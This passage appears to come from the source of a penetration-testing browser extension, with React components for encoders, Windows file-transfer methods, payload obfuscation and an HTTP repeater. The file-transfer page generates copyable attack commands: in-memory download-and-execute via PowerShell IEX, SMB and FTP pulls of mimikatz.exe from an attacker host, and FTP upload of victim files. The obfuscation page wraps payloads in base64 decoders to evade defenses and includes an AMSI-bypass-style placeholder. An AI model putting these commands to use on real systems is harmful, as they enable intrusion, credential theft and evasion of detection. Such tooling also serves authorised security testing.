/>\n                <pre><Text>Cryptographic Hash Algorithm : {hashname}</Text></pre>\n                <Clipboard component='a' data-clipboard-text={output}>\n                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successInfoHashing}>\n                        <CopyOutlined /> Copy\n                    </Button>\n                </Clipboard>\n                <Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 10 }}>\n                    <a href='https://crackstation.net/' target='_blank' rel='noopener noreferrer'>\n                        <ArrowsAltOutlined /> Crack Station\n                    </a>\n                </Button>\n            </div>\n        </div>\n    );\n};\n\nexport default HashEncode;\n"
  },
  {
    "path": "src/components/encoding/HexEncode.tsx",
    "content": "import React, { useState } from 'react';\r\nimport { Button, Input, Typography, message, Divider } from 'antd';\r\nimport { CopyOutlined, createFromIconfontCN, ClearOutlined } from '@ant-design/icons';\r\nimport Clipboard from 'react-clipboard.js';\r\n\r\nconst { Title, Paragraph } = Typography;\r\nconst IconFont = createFromIconfontCN( {\r\n    scriptUrl: [ './iconfont.js' ]\r\n} );\r\n\r\nfunction toHex ( str: string ): string {\r\n    let result = \"\";\r\n    for ( const ch of str ) {\r\n        let hex = ch.charCodeAt( 0 ).toString( 16 ).toUpperCase();\r\n        if ( hex.length < 2 ) {\r\n            hex = \"0\" + hex;\r\n        }\r\n        result += hex;\r\n    }\r\n    return result;\r\n}\r\n\r\nfunction hex2a ( hex: string ): string {\r\n    let str = \"\";\r\n    for ( let i = 0; i < hex.length; i += 2 ) {\r\n        const hexChar = hex.substr( i, 2 );\r\n        if ( hexChar.length < 2 ) {\r\n            throw new Error( \"invalid hexadecimal\" );\r\n        }\r\n        const num = parseInt( hexChar, 16 );\r\n        if ( num < 0 || num > 255 ) {\r\n            throw new Error( \"invalid hexadecimal\" );\r\n        }\r\n        str += String.fromCharCode( num );\r\n    }\r\n    return str;\r\n}\r\n\r\nconst HexEncode = () => {\r\n    const [ input, setInput ] = useState( '' );\r\n    const [ output, setOutput ] = useState( '' );\r\n    const { TextArea } = Input;\r\n    const successBase64Copy = () => {\r\n        message.success( 'Your payload has been copied successfully !' );\r\n    };\r\n    const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {\r\n        setInput( event.target.value );\r\n    };\r\n    const handleClick = ( type: string ) => {\r\n        if ( type === 'encode' ) {\r\n            setOutput( toHex( input ) );\r\n        } else if ( type === 'decode' ) {\r\n            try {\r\n                setOutput( hex2a( input ) );\r\n            } catch ( ex ) {\r\n                setOutput( 'Unable to decode properly : incorrect Hex' );\r\n                message.error( 'Incorrect Base64 please try something else' );\r\n            }\r\n        }\r\n        return;\r\n    };\r\n    return (\r\n        <div>\r\n            <div style={{ margin: 15 }}>\r\n                <Title level={2} style={{ fontWeight: 'bold' }}>\r\n                    Hexadecimal Encoder / Decoder\r\n                </Title>\r\n                <Paragraph>\r\n                    The hexadecimal numeral system, often shortened to \"hex\", is a numeral system made up of 16 symbols\r\n                    (base 16). The standard numeral system is called decimal (base 10) and uses ten symbols:\r\n                    0,1,2,3,4,5,6,7,8,9. Hexadecimal uses the decimal numbers and six extra symbols.\r\n                </Paragraph>\r\n            </div>\r\n            <Divider dashed />\r\n            <div\r\n                key='a'\r\n                style={{\r\n                    marginTop: 15,\r\n                    marginLeft: 15\r\n                }}\r\n            >\r\n                <TextArea\r\n                    rows={4}\r\n                    value={input}\r\n                    onChange={handleChange( 'input' )}\r\n                    placeholder='ASCII or Hexadecimal value to Encode / Decode...'\r\n                />\r\n                <Button\r\n                    type='primary'\r\n                    style={{ marginBottom: 10, marginTop: 15 }}\r\n                    onClick={() => handleClick( 'encode' )}\r\n                >\r\n                    <IconFont type='icon-lock' />\r\n                    Encode\r\n                </Button>\r\n                <Button\r\n                    type='dashed'\r\n                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\r\n                    onClick={() => handleClick( 'decode' )}\r\n                >\r\n                    <IconFont type='icon-lock-open' />\r\n                    Decode\r\n                </Button>\r\n            </div>\r\n            <div\r\n                key='b'\r\n                style={{\r\n                    marginTop: 15,\r\n                    marginLeft: 15\r\n                }}\r\n            >\r\n                <TextArea\r\n                    rows={4}\r\n                    value={output}\r\n                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}\r\n                    placeholder='The results will appear here'\r\n                />\r\n                <Clipboard component='a' data-clipboard-text={output}>\r\n                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successBase64Copy}>\r\n                        <CopyOutlined /> Copy\r\n                    </Button>\r\n                </Clipboard>\r\n                <Button\r\n                    type='link'\r\n                    danger\r\n                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\r\n                    onClick={() => setOutput( '' )}\r\n                >\r\n                    <ClearOutlined /> Clear\r\n                </Button>\r\n            </div>\r\n        </div>\r\n    );\r\n};\r\n\r\nexport default HexEncode;\r\n"
  },
  {
    "path": "src/components/encoding/URLEncode.tsx",
    "content": "import React, { useState } from 'react';\nimport { Button, Input, Typography, message, Divider } from 'antd';\nimport { CopyOutlined, createFromIconfontCN, ClearOutlined } from '@ant-design/icons';\nimport Clipboard from 'react-clipboard.js';\nimport { escape, unescape } from 'querystring';\n\nconst { Title, Paragraph } = Typography;\nconst IconFont = createFromIconfontCN( {\n    scriptUrl: [ './iconfont.js' ]\n} );\n\nconst Base64Encode = () => {\n    const [ input, setInput ] = useState( '' );\n    const [ output, setOutput ] = useState( '' );\n    const { TextArea } = Input;\n    const successPayload = () => {\n        message.success( 'Your URL has been copied successfully !' );\n    };\n    const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {\n        setInput( event.target.value );\n    };\n    const handleClick = ( type: string ) => {\n        if ( type === 'encode' ) {\n            setOutput( escape( input ) );\n        } else if ( type === 'decode' ) {\n            try {\n                setOutput( unescape( input ) );\n            } catch ( ex ) {\n                setOutput( 'Unable to decode properly : Incorrect base64 :-( ' );\n                message.error( 'Incorrect Base64 please try something else' );\n            }\n        }\n        return;\n    };\n    return (\n        <div>\n            <div style={{ margin: 15 }}>\n                <Title level={2} style={{ fontWeight: 'bold' }}>\n                    URL Encoder / Decoder\n                </Title>\n                <Paragraph>\n                    URL encoding is the practice of translating unprintable characters or characters with special\n                    meaning within URLs to a representation that is unambiguous and universally accepted by web browsers\n                    and servers.\n                </Paragraph>\n            </div>\n            <Divider dashed />\n            <div\n                key='a'\n                style={{\n                    marginTop: 15,\n                    marginLeft: 15\n                }}\n            >\n                <TextArea\n                    rows={4}\n                    value={input}\n                    onChange={handleChange( 'input' )}\n                    placeholder='Some Base64 or ASCII Text to Encode / Decode...'\n                />\n                <Button\n                    type='primary'\n                    style={{ marginBottom: 10, marginTop: 15 }}\n                    onClick={() => handleClick( 'encode' )}\n                >\n                    <IconFont type='icon-lock' />\n                    Encode\n                </Button>\n                <Button\n                    type='dashed'\n                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    onClick={() => handleClick( 'decode' )}\n                >\n                    <IconFont type='icon-lock-open' />\n                    Decode\n                </Button>\n            </div>\n            <div\n                key='b'\n                style={{\n                    marginTop: 15,\n                    marginLeft: 15\n                }}\n            >\n                <TextArea\n                    rows={4}\n                    value={output}\n                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}\n                    placeholder='The results will appear here'\n                />\n                <Clipboard component='a' data-clipboard-text={output}>\n                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successPayload}>\n                        <CopyOutlined /> Copy\n                    </Button>\n                </Clipboard>\n                <Button\n                    type='link'\n                    danger\n                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    onClick={() => setOutput( '' )}\n                >\n                    <ClearOutlined /> Clear\n                </Button>\n            </div>\n        </div>\n    );\n};\n\nexport default Base64Encode;\n"
  },
  {
    "path": "src/components/file_transfer/File_transfer.tsx",
    "content": "import React from 'react';\nimport PersistedState from 'use-persisted-state';\nimport { Typography, Row, Col, Divider, Input, Space } from 'antd';\nimport { WifiOutlined, createFromIconfontCN, FolderOutlined, FileDoneOutlined } from '@ant-design/icons';\nimport { Ipv4TcpCacheState } from \"components/types/Ipv4TcpCacheState\";\nimport Link from 'antd/es/typography/Link';\n\n\nconst { Title, Paragraph, Text } = Typography;\nconst IconFont = createFromIconfontCN( {\n    scriptUrl: [ './iconfont.js' ]\n} );\n\nexport default function FileTransfer () {\n    const useIPv4State = PersistedState<Ipv4TcpCacheState>( 'ipv4_tcp_cache' );\n\n    const [ values, setValues ] = useIPv4State( {\n        ip: '',\n        port: '',\n        target_file_name: 'http://10.0.0.1/mimikatz.exe',\n        output_file_name: 'mimikatz.exe',\n    } );\n\n    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {\n        setValues( { ...values, [ name ]: event.target.value } );\n    };\n\n    const fileDownload = `(New-Object Net.WebClient).DownloadFile('${ values.target_file_name }','${ values.output_file_name }')`\n    const fileDownloadAsync = `(New-Object Net.WebClient).DownloadFileAsync('${ values.target_file_name }','${ values.output_file_name }')`\n    const fileLessIEX = `IEX (New-Object Net.WebClient).DownloadString('${ values.target_file_name }')`\n    const fileLessIEXPipe = `(New-Object Net.WebClient).DownloadString('${ values.target_file_name }') | IEX`\n    const iwr = `iwr -Uri '${ values.target_file_name }' -OutFile '${ values.output_file_name }'`\n    const InvokeWebRequest = `Invoke-WebRequest -Uri '${ values.target_file_name }' -OutFile '${ values.output_file_name }'`\n    const copyFromSmb = `copy \\\\\\\\${ values.ip }\\\\${ values.output_file_name }`\n    const mountShareWithPasswords = `net use z: \\\\\\\\${ values.ip }\\\\share /user:johnDoe Sup3rP@ssw0rd!`\n    const DownloadFromFTP = `(New-Object System.Net.WebClient).DownloadFile('ftp://${ values.ip }/${ values.output_file_name }','${ values.output_file_name }')`\n    const scriptFTP = `echo open ${ values.ip } ${ values.port } > ftp.txt\necho USER anonymous >> ftp.txt\necho GET ${ values.output_file_name } >> ftp.txt\necho BYE >> ftp.txt\nftp -v -s:ftp.txt`\n    const powershellFTPUpload = `(New-Object System.Net.WebClient).UploadFile('ftp://${ values.ip }/${ values.output_file_name }','C:\\\\Users\\\\Public\\\\${ values.output_file_name }')`\n    const scriptUploadFTP = `echo open ${ values.ip } ${ values.port } > ftp.txt\necho USER anonymous >> ftp.txt\necho binary >> ftp.txt\necho PUT ${ values.output_file_name } >> ftp.txt\necho BYE >> ftp.txt\nftp -v -s:ftp.txt`\n\n    return (\n        <div>\n            <div>\n                <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                    Windows File Transfer Methods\n                </Title>\n                <Paragraph style={{ margin: 15 }}>\n                    Over the past few years, the Windows operating system has evolved and new versions come with different utilities for file transfer operations. Understanding file transfer in Windows can be helpful to both attackers and defenders alike. Attackers can use various file transfer methods to operate and avoid being caught.\n                </Paragraph>\n                <div style={{ padding: 15 }}>\n                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>\n                        <Col span={12}>\n                            <Input\n                                maxLength={15}\n                                prefix={<WifiOutlined />}\n                                name='Ip adress'\n                                placeholder='IP Address or domain (ex: 212.212.111.222)'\n                                onChange={handleChange( 'ip' )}\n                                value={values.ip}\n                            />\n                        </Col>\n                        <Col span={12}>\n                            <Input\n                                maxLength={5}\n                                prefix={<IconFont type='icon-Network-Plug' />}\n                                name='Port'\n                                placeholder='Port (ex: 1337)'\n                                onChange={handleChange( 'port' )}\n                                value={values.port}\n                            />\n                        </Col>\n                    </Row>\n                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }} style={{ marginTop: 15 }}>\n                        <Col span={12}>\n                            <Input\n                                prefix={<FolderOutlined />}\n                                name='File name'\n                                placeholder='URL (ex: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1)'\n                                onChange={handleChange( 'target_file_name' )}\n                                value={values.target_file_name}\n                            />\n\n                        </Col>\n                        <Col span={12}>\n                            <Input\n                                prefix={<FileDoneOutlined />}\n                                name='File name'\n                                placeholder='Output file (ex: PowerView.ps1)'\n                                onChange={handleChange( 'output_file_name' )}\n                                value={values.output_file_name}\n                            />\n                        </Col>\n                    </Row>\n                </div>\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Space direction='vertical'>\n                    <Title level={3}>\n                        PowerShell Download File Method\n                    </Title>\n                    <Text>\n                        We can specify the class name <Text keyboard>Net.WebClient</Text> and the method <Text keyboard>DownloadFile</Text> with the parameters corresponding to the URL of the target file to download and the output file name.\n                    </Text>\n                    <Title level={4}>File Download</Title>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {fileDownload}\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {fileDownloadAsync}\n                            </Text>\n                        </pre>\n                    </Text>\n                </Space>\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 10, marginTop: 15 }} key='a'>\n                <Space direction='vertical'>\n                    <Title level={3}>\n                        PowerShell DownloadString - Fileless Method\n                    </Title>\n                    <Text>\n                        Fileless attacks work by using some operating system functions to download and execute the payloads. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the <Text keyboard>Invoke-Expression</Text> command or the alias <Text keyboard>IEX</Text>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {fileLessIEX}\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {fileLessIEXPipe}\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Title level={4}>PowerShell Invoke-WebRequest</Title>\n                    <Text>\n                        From PowerShell 3.0 onwards, the <Text keyboard>Invoke-WebRequest</Text> cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases <Text keyboard>iwr</Text>, <Text keyboard>curl</Text>, and <Text keyboard>wget</Text> instead of the <Text keyboard>Invoke-WebRequest</Text> full name.\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {InvokeWebRequest}\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {iwr}\n                            </Text>\n                        </pre>\n                    </Text>\n                </Space>\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 15, marginTop: 15 }}>\n                <Space direction='vertical'>\n                    <Title level={3}>\n                        SMB Downloads\n                    </Title>\n                    <Text>\n                        The SMB protocol that runs on port <Text strong>TCP/445</Text> is most commonly found in enterprise networks where Windows services are running. It allows applications and users to transfer files between and between remote servers.\n                    </Text>\n                    <Text>\n                        We can use SMB to download files from our attacker machine easily. We need to create an SMB server in our machine with <Link href='https://github.com/fortra/impacket/blob/master/examples/smbserver.py' target=\"_blank\">smbserver.py</Link> from Impacket and then use <Text keyboard>copy</Text>, <Text keyboard>move</Text>, PowerShell <Text keyboard>Copy-Item</Text>, or any other tool that allows connection to SMB.\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                sudo impacket-smbserver share -smb2support /tmp/smb_share\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {copyFromSmb}\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Text italic>New versions of Windows block unauthenticated guest access!</Text>\n                    <Text italic>To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:</Text>\n                    <Text>\n                        <pre>\n                            <Text copyable editable>\n                                sudo impacket-smbserver share -smb2support /tmp/smbshare -user johnDoe -password Sup3rP@ssw0rd!\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {mountShareWithPasswords}\n                            </Text>\n                        </pre>\n                    </Text>\n                </Space>\n            </div>\n            <Divider dashed />\n            <div style={{ padding: 15, marginTop: 15 }}>\n                <Space direction='vertical'>\n                    <Title level={3}>\n                        FTP Downloads\n                    </Title>\n                    <Text>\n                        Another way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.\n                    </Text>\n                    <Text>\n                        We can configure an FTP Server in our attack host using Python3 pyftpdlib module. It can be installed with the following command:\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                sudo pip3 install pyftpdlib\n                            </Text>\n                        </pre>\n                        <Text italic underline>By default, pyftpdlib uses port 2121. We can change it with the -p / --port option!</Text>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                sudo python3 -m pyftpdlib --port 21\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Title level={4}>Transfering Files from an FTP Server Using PowerShell</Title>\n                    <Text>\n                        <pre>\n                            <Text copyable editable>\n                                {DownloadFromFTP}\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {scriptFTP}\n                            </Text>\n                        </pre>\n                    </Text>\n                </Space>\n            </div>\n            <div style={{ padding: 15, marginTop: 15 }}>\n                <Space direction='vertical'>\n                    <Title level={3}>\n                        FTP Uploads\n                    </Title>\n                    <Text>\n                        Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                sudo python3 -m pyftpdlib --port 21 --write\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Title level={4}>PowerShell Upload File</Title>\n                    <Text>\n                        <pre>\n                            <Text copyable editable>\n                                {powershellFTPUpload}\n                            </Text>\n                        </pre>\n                    </Text>\n                    <Text>\n                        <pre>\n                            <Text copyable>\n                                {scriptUploadFTP}\n                            </Text>\n                        </pre>\n                    </Text>\n                </Space>\n            </div>\n        </div>\n    );\n}"
  },
  {
    "path": "src/components/file_transfer/ObfuscatedFiles.tsx",
    "content": "import React, { useState } from 'react';\nimport PersistedState from 'use-persisted-state';\nimport { Button, Input, Typography, message, Divider, Menu, Dropdown, Space } from 'antd';\nimport { CopyOutlined, createFromIconfontCN, ClearOutlined, DownOutlined, FileTextOutlined } from '@ant-design/icons';\nimport { ObfuscatedFile } from 'components/types/ObfuscatedFile';\nimport Clipboard from 'react-clipboard.js';\n\nconst { Title, Paragraph } = Typography;\nconst IconFont = createFromIconfontCN( {\n    scriptUrl: [ './iconfont.js' ]\n} );\n\nconst EchoBase64 = () => {\n    const [ output, setOutput ] = useState( '' );\n    const echoFileName = PersistedState<ObfuscatedFile>( 'echo_file_name' );\n    const { TextArea } = Input;\n\n    const [ values, setValues ] = echoFileName( {\n        name: '',\n        input: ''\n    } );\n\n    const successBase64Copy = () => {\n        message.success( 'Your payload has been copied successfully !' );\n    };\n\n    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {\n        setValues( { ...values, [ name ]: event.target.value } );\n    };\n\n    const randomString = ( length = 10 ) => {\n        const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n        let result = '';\n        if ( length > chars.length ) {\n            return 'An error occurred';\n        }\n        for ( let i = 0; i < length; i++ ) {\n            const randomNumber = Math.floor( Math.random() * chars.length );\n            if ( randomNumber ) {\n                result += chars[ randomNumber ];\n            } else {\n                return 'An error occurred';\n            }\n        }\n        return result;\n    };\n\n    const handleClick = () => {\n        try {\n            if ( values.input.length === 0 ) {\n                message.error( 'Please enter some text to encode' );\n                return;\n            }\n            if ( encMode === 'Base64 - Bash' ) {\n                const bash_b64 = btoa( values.input );\n                setOutput( `echo -n '${ bash_b64 }' | base64 -d >  ${ values.name }` );\n            }\n            if ( encMode === 'Base64 - CMD' ) {\n                const cmd_b64 = btoa( values.input );\n                const cmd_random = randomString();\n                setOutput( `echo|set /p=\"${ cmd_b64 }\" >> ${ cmd_random } \ncertutil -decode ${ cmd_random } ${ values.name }\ndel /Q ${ cmd_random }` );\n            }\n            if ( encMode === 'Base64 - Powershell' ) {\n                const pwsh_b64 = btoa( values.input );\n                const pwsh_random = randomString();\n                setOutput( `${ \"$\" + pwsh_random } = @()\n${ \"$\" + pwsh_random } +=\n[System.Convert]::FromBase64String(\"${ pwsh_b64 }\")\n[Environment]::CurrentDirectory = (Get-Location -PSProvider FileSystem).ProviderPath\n[System.IO.File]::WriteAllBytes(\"${ values.name }\",  ${ \"$\" + pwsh_random })\nRemove-Variable ${ pwsh_random }` );\n            }\n        }\n        catch ( ex ) {\n            message.error( 'Unable to encode properly please try again' );\n        }\n        return;\n\n    }\n\n    const [ encMode, setEncmode ] = useState( 'Base64 - Bash' );\n\n    const handleEncModeList = ( type: { key: React.SetStateAction<string | any> } ) => {\n        setEncmode( type.key.toString() );\n    };\n\n    const menu = (\n        <Menu onClick={handleEncModeList}>\n            <Menu.Item key='Base64 - Bash'>Base64 - Bash</Menu.Item>\n            <Menu.Divider />\n            <Menu.Item key='Base64 - CMD'>Base64 - CMD</Menu.Item>\n            <Menu.Divider />\n            <Menu.Item key='Base64 - Powershell'>Base64 - Powershell</Menu.Item>\n        </Menu>\n    );\n\n    return (\n        <div>\n            <div style={{ margin: 15 }}>\n                <Title level={2} style={{ fontWeight: 'bold' }}>\n                    Obfuscated Files or Information\n                </Title>\n                <Paragraph>\n                    Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n                </Paragraph>\n            </div>\n            <Divider dashed />\n            <div\n                key='a'\n                style={{\n                    marginTop: 15,\n                    marginLeft: 15\n                }}\n            >\n                <TextArea\n                    rows={6}\n                    value={values.input}\n                    onChange={handleChange( 'input' )}\n                    placeholder='$wvlgi = @\"\nusing System;\nusing System.Runtime.InteropServices;\npublic class wvlgi {\n    [DllImport(\"kernel32\")]\n    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n    [DllImport(\"kernel32\")]\n    public static extern IntPtr LoadLibrary(string name);\n    [DllImport(\"kernel32\")]\n    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr tsarvf, uint flNewProtect, out uint lpflOldProtect);\n}\n\"@\n'\n                />\n\n                <Dropdown overlay={menu}>\n                    <a className='ant-dropdown-link'>\n                        {encMode} <DownOutlined style={{ padding: 10 }} />\n                    </a>\n                </Dropdown>\n                <Space>\n                    <Button\n                        type='primary'\n                        style={{ marginBottom: 10, marginTop: 15 }}\n                        onClick={() => handleClick()}\n                    >\n                        <IconFont type='icon-lock' />\n                        Encode\n                    </Button>\n\n                    <Input\n                        prefix={<FileTextOutlined />}\n                        onChange={handleChange( 'name' )}\n                        placeholder=\"Output File Name\"\n                        bordered={false}\n                        value={values.name}\n                        style={{ marginTop: 6 }}\n                    />\n                </Space>\n            </div>\n            <div\n                key='b'\n                style={{\n                    marginTop: 15,\n                    marginLeft: 15\n                }}\n            >\n                <TextArea\n                    rows={6}\n                    value={output}\n                    disabled={true}\n                    onChange={handleChange( 'output' )}\n                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}\n                    placeholder='The results will appear here'\n                />\n                <Clipboard component='a' data-clipboard-text={output}>\n                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successBase64Copy}>\n                        <CopyOutlined /> Copy\n                    </Button>\n                </Clipboard>\n                <Button\n                    type='link'\n                    danger\n                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    onClick={() => setOutput( '' )}\n                >\n                    <ClearOutlined /> Clear\n                </Button>\n            </div>\n        </div>\n    );\n};\n\nexport default EchoBase64;\n"
  },
  {
    "path": "src/components/http_utils/HTTP-Utils.tsx",
    "content": "import React, { useState } from 'react';\nimport {\n    Button,\n    Typography,\n    Row,\n    Col,\n    Input,\n    Select,\n    Divider,\n    Tag,\n    message,\n    Descriptions,\n    Modal,\n    Tabs,\n    Alert\n} from 'antd';\nimport { SendOutlined, FullscreenOutlined, ArrowsAltOutlined, DeleteOutlined } from '@ant-design/icons';\nimport { vs2015 } from 'react-syntax-highlighter/dist/esm/styles/hljs';\nimport axios, { Method } from 'axios';\nimport PersistedState from 'use-persisted-state';\nimport SyntaxHighlighter from 'react-syntax-highlighter';\nimport pretty from 'pretty';\n\nconst { Title, Paragraph } = Typography;\nconst { TabPane } = Tabs;\nconst { TextArea } = Input;\nconst { Option } = Select;\n\nexport default function LinuxCommands () {\n    const http_url = PersistedState<IHTTP_UtilsProps>( 'http_url_repeater' );\n    const [ isModalVisible, setIsModalVisible ] = useState( false );\n\n    const windowMode = () => {\n        const width = 1100;\n        const height = 800;\n\n        chrome.windows.create( {\n            url: chrome.runtime.getURL( 'index.html' ),\n            width: width,\n            height: height,\n            type: 'popup'\n        } );\n    };\n    const target = window.location.href;\n    const showModal = () => {\n        setIsModalVisible( true );\n    };\n    const handleClose = () => {\n        setIsModalVisible( false );\n    };\n\n    interface IHTTP_UtilsProps {\n        url: string;\n        protocol: string;\n        type: string;\n    }\n\n    const [ values, setValues ] = http_url( {\n        url: '',\n        protocol: 'http://',\n        type: 'GET'\n    } );\n    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {\n        setValues( { ...values, [ name ]: event.target.value } );\n    };\n    const handleChangeSelect = ( name: string ) => ( event: string ) => {\n        setValues( { ...values, [ name ]: event } );\n    };\n\n    interface ContentProps {\n        status: string | number;\n        statusText: string;\n        headers: {\n            [ key: string ]: string;\n        };\n        data: string;\n    }\n    // Axios fetch\n    const key = 'updatable';\n    const [ content, setContent ] = useState<ContentProps>();\n    const [ headerContent, setHeaderContent ] = useState( [] );\n    const [ commentResponse, setCommentResponse ] = useState( [] );\n    const [ inputResponse, setInputResponse ] = useState( [] );\n    const [ _, setLoading ] = useState<Boolean>();\n    const handleDelete = () => {\n        setContent( undefined );\n        setHeaderContent( [] );\n        setCommentResponse( [] );\n        setInputResponse( [] );\n        values.url = '';\n    };\n\n    const fetchData = async () => {\n        message.loading( { content: 'Loading...', key } );\n        await axios( {\n            method: values.type as Method,\n            url: values.protocol + values.url.replace( /https?:\\/\\//, '' ),\n            headers: {}\n        } )\n            .then( ( res: React.ComponentState ) => {\n                setLoading( false ); // Set the loading to false\n                setContent( res ); // Axios response\n                message.success( { content: 'Loaded!', key } );\n                setHeaderContent( res.headers[ 'content-type' ] ); // Header content\n                console.log( res );\n                const commentOnlyRegex = res.data.match(\n                    RegExp( /(\\/\\*[\\w\\'\\s\\r\\n\\*]*\\*\\/)|(\\/\\/[\\w\\s\\']*)|(\\<![\\-\\-\\s\\w\\>\\/]*\\>)/, 'g' )\n                );\n                if ( commentOnlyRegex != null ) setCommentResponse( commentOnlyRegex );\n                const inputOnlyRegex = res.data.match( RegExp( /<form(.*?)<\\/form>/, 'g' ) );\n                if ( inputOnlyRegex != null ) setInputResponse( inputOnlyRegex );\n            } )\n            .catch( ( err ) => {\n                console.log( err );\n                message.error( { content: err.message, key } );\n            } );\n    };\n\n    return (\n        <div>\n            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                HTTP Repeater\n            </Title>\n            <Paragraph style={{ marginLeft: 15 }}>\n                HTTP Repeater is a simple tool for manually manipulating and reissuing individual HTTP and WebSocket\n                messages, and analyzing the application's responses. You can use Repeater for all kinds of purposes,\n                such as changing parameter values to test for input-based vulnerabilities, issuing requests in a\n                specific sequence to test for logic flaws.\n            </Paragraph>\n            <Divider dashed />\n            <Row gutter={[ 16, 16 ]} style={{ padding: 15 }}>\n                <Col>\n                    <Select\n                        defaultValue='GET'\n                        style={{ width: '100%' }}\n                        value={values.type}\n                        placeholder='GET'\n                        onChange={handleChangeSelect( 'type' )}\n                    >\n                        <Option value='GET'>GET</Option>\n                        <Option value='POST'>POST</Option>\n                        <Option value='HEAD'>HEAD</Option>\n                        <Option value='PUT'>PUT</Option>\n                        <Option value='DELETE'>DELETE</Option>\n                        <Option value='OPTIONS'>OPTIONS</Option>\n                        <Option value='PATCH'>PATCH</Option>\n                    </Select>\n                </Col>\n                <Col>\n                    <Select\n                        defaultValue='http://'\n                        style={{ width: '100%' }}\n                        value={values.protocol}\n                        placeholder='http://'\n                        onChange={handleChangeSelect( 'protocol' )}\n                    >\n                        <Option value='http://'>HTTP</Option>\n                        <Option value='https://'>HTTPS</Option>\n                    </Select>\n                </Col>\n                <Col span={9}>\n                    <Input\n                        style={{ borderColor: '#434343' }}\n                        onChange={handleChange( 'url' )}\n                        onSubmit={() => fetchData()}\n                        allowClear\n                        value={values.url.replace( /https?:\\/\\//, '' )}\n                        placeholder='http://10.10.14.15:1337/home?a=1 OR example.com'\n                    />\n                </Col>\n                <Col>\n                    <Button type='primary' onClick={() => fetchData()} icon={<SendOutlined />}>\n                        Send\n                    </Button>\n                </Col>\n                <Col>\n                    <Button type='link' danger icon={<DeleteOutlined />} onClick={() => handleDelete()} />\n                </Col>\n            </Row>\n            {content != undefined ? (\n                <div style={{ padding: 15 }}>\n                    <Descriptions title='Request info' style={{ marginBottom: 15 }}>\n                        <Descriptions.Item label='Status code'>\n                            <Tag color='success'>\n                                {content.status} {content.statusText}\n                            </Tag>\n                        </Descriptions.Item>\n                        <Descriptions.Item label='Server'>\n                            <Tag color='processing'>{content.headers.server || 'Undefined'}</Tag>\n                        </Descriptions.Item>\n                        <Descriptions.Item label='Content-Type'>\n                            <Tag color='geekblue'>{headerContent}</Tag>\n                        </Descriptions.Item>\n                        <Descriptions.Item label='URL'>\n                            <a href={values.protocol + values.url} target='_blank'>\n                                {values.protocol + values.url}\n                            </a>\n                        </Descriptions.Item>\n                    </Descriptions>\n                    <Row gutter={[ 16, 16 ]} style={{ marginBottom: 15 }}>\n                        <Col span={12}>\n                            <TextArea\n                                autoSize={{ minRows: 5 }}\n                                disabled\n                                value={JSON.stringify( 